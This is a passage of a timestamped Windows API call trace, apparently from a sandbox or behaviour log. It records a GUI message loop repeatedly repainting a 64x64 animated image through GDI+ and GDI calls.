GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0130.158] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.158] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.158] GetSystemMetrics (nIndex=42) returned 0 [0130.158] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.158] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.158] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.159] CoTaskMemFree (pv=0x1e7ac120) [0130.159] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0130.159] GdipCreateRegion (region=0x15d710) returned 0x0 [0130.159] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0130.159] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0130.159] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0130.159] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0130.159] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.159] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.160] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.160] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0130.160] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.160] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.160] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.160] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.160] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0130.161] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0130.161] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0130.161] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0130.161] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.161] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0130.161] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0130.161] GetCurrentObject (hdc=0x480107cb, type=0x1) returned 0x1b00017 [0130.161] GetCurrentObject (hdc=0x480107cb, type=0x2) returned 0x1900010 [0130.161] GetCurrentObject (hdc=0x480107cb, type=0x7) returned 0x1a05067e [0130.161] GetCurrentObject (hdc=0x480107cb, type=0x6) returned 0x18a002e [0130.161] SaveDC (hdc=0x480107cb) returned 1 [0130.161] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff820407c3 [0130.162] GetClipRgn (hdc=0x480107cb, hrgn=0xffffffff820407c3) returned 0 [0130.162] SelectClipRgn (hdc=0x480107cb, hrgn=0x52040b8a) returned 2 [0130.162] DeleteObject (ho=0xffffffff820407c3) returned 1 [0130.162] DeleteObject (ho=0x52040b8a) returned 1 [0130.162] OffsetViewportOrgEx (in: hdc=0x480107cb, x=0, y=0, lppt=0x27e1298 | out: lppt=0x27e1298) returned 1 [0130.162] GetNearestColor (hdc=0x480107cb, color=0xffffff) returned 0xffffff [0130.162] CreateSolidBrush (color=0xffffff) returned 0x5a100190 [0130.162] FillRect (hDC=0x480107cb, lprc=0x15d7c0, hbr=0x5a100190) returned 1 [0130.162] DeleteObject (ho=0x5a100190) returned 1 [0130.162] RestoreDC (hdc=0x480107cb, nSavedDC=-1) returned 1 [0130.162] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.163] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x480107cb) returned 0x0 [0130.163] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd320dbd) returned 0x0 [0130.163] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.163] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0130.163] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.163] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.163] GetSystemMetrics (nIndex=42) returned 0 [0130.163] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.163] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.163] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.163] CoTaskMemFree (pv=0x1e7ac120) [0130.163] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0130.163] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0130.164] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0130.164] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0130.164] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x480107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0130.164] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.164] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x480107cb) returned 0x0 [0130.164] SelectObject (hdc=0x480107cb, h=0x185000f) returned 0x1a05067e [0130.164] DeleteDC (hdc=0x480107cb) returned 1 [0130.164] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.164] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0130.164] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0130.164] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0130.165] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.165] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.165] WaitMessage () returned 1 [0130.334] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.334] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.334] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.334] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.335] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.335] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0130.335] GetCurrentThreadId () returned 0xec0 [0130.335] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0130.335] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.335] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.335] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.335] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.335] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.336] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0130.336] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0130.336] CreateCompatibleDC (hdc=0x3010b83) returned 0x490107cb [0130.336] SelectObject (hdc=0x490107cb, h=0x1a05067e) returned 0x185000f [0130.336] GdipCreateFromHDC (hdc=0x490107cb, graphics=0x15daf0) returned 0x0 [0130.336] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0130.336] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0130.337] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0130.337] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0130.337] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0130.337] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.337] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0130.338] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.338] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.338] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0130.338] GdipCreateRegion (region=0x15dc20) returned 0x0 [0130.338] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0130.338] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0130.338] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0130.339] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.339] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.339] GetSystemMetrics (nIndex=42) returned 0 [0130.339] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.339] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.339] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.339] CoTaskMemFree (pv=0x1e7ac120) [0130.340] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0130.340] GdipCreateRegion (region=0x15d710) returned 0x0 [0130.340] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0130.340] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0130.340] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0130.340] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0130.340] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.340] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.341] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.342] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0130.342] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.342] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.342] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.343] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.343] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0130.343] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0130.343] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0130.343] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0130.344] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.344] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0130.344] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0130.344] GetCurrentObject (hdc=0x490107cb, type=0x1) returned 0x1b00017 [0130.344] GetCurrentObject (hdc=0x490107cb, type=0x2) returned 0x1900010 [0130.344] GetCurrentObject (hdc=0x490107cb, type=0x7) returned 0x1a05067e [0130.345] GetCurrentObject (hdc=0x490107cb, type=0x6) returned 0x18a002e [0130.345] SaveDC (hdc=0x490107cb) returned 1 [0130.345] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x53040b8a [0130.345] GetClipRgn (hdc=0x490107cb, hrgn=0x53040b8a) returned 0 [0130.345] SelectClipRgn (hdc=0x490107cb, hrgn=0xffffffff830407c3) returned 2 [0130.345] DeleteObject (ho=0x53040b8a) returned 1 [0130.345] DeleteObject (ho=0xffffffff830407c3) returned 1 [0130.346] OffsetViewportOrgEx (in: hdc=0x490107cb, x=0, y=0, lppt=0x27e1bd0 | out: lppt=0x27e1bd0) returned 1 [0130.346] GetNearestColor (hdc=0x490107cb, color=0xffffff) returned 0xffffff [0130.346] CreateSolidBrush (color=0xffffff) returned 0x5b100190 [0130.346] FillRect (hDC=0x490107cb, lprc=0x15d7c0, hbr=0x5b100190) returned 1 [0130.346] DeleteObject (ho=0x5b100190) returned 1 [0130.346] RestoreDC (hdc=0x490107cb, nSavedDC=-1) returned 1 [0130.346] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.347] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x490107cb) returned 0x0 [0130.347] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd300dbd) returned 0x0 [0130.347] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.347] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0130.347] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.347] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.347] GetSystemMetrics (nIndex=42) returned 0 [0130.347] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.347] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.347] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.348] CoTaskMemFree (pv=0x1e7ac120) [0130.348] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0130.352] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0130.352] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0130.352] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0130.352] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0130.352] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x490107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0130.352] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.352] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x490107cb) returned 0x0 [0130.352] SelectObject (hdc=0x490107cb, h=0x185000f) returned 0x1a05067e [0130.352] DeleteDC (hdc=0x490107cb) returned 1 [0130.352] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.353] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0130.353] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0130.353] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0130.353] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.353] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.353] WaitMessage () returned 1 [0130.530] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.530] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.530] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.530] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.530] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.531] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0130.531] GetCurrentThreadId () returned 0xec0 [0130.531] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0130.531] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.531] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.531] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.531] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.531] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.531] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0130.532] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0130.532] CreateCompatibleDC (hdc=0x3010b83) returned 0x4a0107cb [0130.532] SelectObject (hdc=0x4a0107cb, h=0x1a05067e) returned 0x185000f [0130.532] GdipCreateFromHDC (hdc=0x4a0107cb, graphics=0x15daf0) returned 0x0 [0130.532] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0130.532] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0130.532] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0130.532] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0130.533] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0130.533] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.533] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0130.534] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.534] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.534] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0130.534] GdipCreateRegion (region=0x15dc20) returned 0x0 [0130.534] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0130.534] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0130.534] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0130.534] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.534] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.535] GetSystemMetrics (nIndex=42) returned 0 [0130.535] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.535] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.535] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.535] CoTaskMemFree (pv=0x1e7ac120) [0130.535] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0130.535] GdipCreateRegion (region=0x15d710) returned 0x0 [0130.535] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0130.535] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0130.535] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0130.535] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0130.535] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.536] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.536] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.536] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0130.536] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.536] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0130.537] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.537] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.537] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0130.537] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0130.537] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0130.537] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0130.537] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.537] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0130.537] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0130.537] GetCurrentObject (hdc=0x4a0107cb, type=0x1) returned 0x1b00017 [0130.538] GetCurrentObject (hdc=0x4a0107cb, type=0x2) returned 0x1900010 [0130.538] GetCurrentObject (hdc=0x4a0107cb, type=0x7) returned 0x1a05067e [0130.538] GetCurrentObject (hdc=0x4a0107cb, type=0x6) returned 0x18a002e [0130.538] SaveDC (hdc=0x4a0107cb) returned 1 [0130.538] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff840407c3 [0130.538] GetClipRgn (hdc=0x4a0107cb, hrgn=0xffffffff840407c3) returned 0 [0130.538] SelectClipRgn (hdc=0x4a0107cb, hrgn=0x54040b8a) returned 2 [0130.538] DeleteObject (ho=0xffffffff840407c3) returned 1 [0130.538] DeleteObject (ho=0x54040b8a) returned 1 [0130.538] OffsetViewportOrgEx (in: hdc=0x4a0107cb, x=0, y=0, lppt=0x27e2ed8 | out: lppt=0x27e2ed8) returned 1 [0130.538] GetNearestColor (hdc=0x4a0107cb, color=0xffffff) returned 0xffffff [0130.539] CreateSolidBrush (color=0xffffff) returned 0x5c100190 [0130.539] FillRect (hDC=0x4a0107cb, lprc=0x15d7c0, hbr=0x5c100190) returned 1 [0130.539] DeleteObject (ho=0x5c100190) returned 1 [0130.539] RestoreDC (hdc=0x4a0107cb, nSavedDC=-1) returned 1 [0130.539] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.539] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4a0107cb) returned 0x0 [0130.539] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd2e0dbd) returned 0x0 [0130.539] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.539] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0130.539] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0130.539] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0130.540] GetSystemMetrics (nIndex=42) returned 0 [0130.540] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0130.540] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0130.540] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0130.540] CoTaskMemFree (pv=0x1e7ac120) [0130.540] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0130.540] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0130.540] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0130.540] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0130.540] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x4a0107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0130.540] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.540] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x4a0107cb) returned 0x0 [0130.541] SelectObject (hdc=0x4a0107cb, h=0x185000f) returned 0x1a05067e [0130.541] DeleteDC (hdc=0x4a0107cb) returned 1 [0130.541] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.541] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0130.541] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0130.541] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0130.541] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.541] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0130.541] WaitMessage () returned 1 [0130.660] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.660] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.660] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.660] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.660] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.661] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0130.661] GetCurrentThreadId () returned 0xec0 [0130.661] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0130.661] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.661] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.661] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.661] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.661] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.661] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0130.661] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0130.661] CreateCompatibleDC (hdc=0x3010b83) returned 0x4b0107cb [0130.661] SelectObject (hdc=0x4b0107cb, h=0x1a05067e) returned 0x185000f [0130.662] GdipCreateFromHDC (hdc=0x4b0107cb, graphics=0x15daf0) returned 0x0 [0130.662] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0130.662] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0130.662] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0130.662] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0130.662] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0130.662] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.662] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0130.663] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.663] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.663] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0130.663] GdipCreateRegion (region=0x15dc20) returned 0x0 [0130.663] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0130.663] 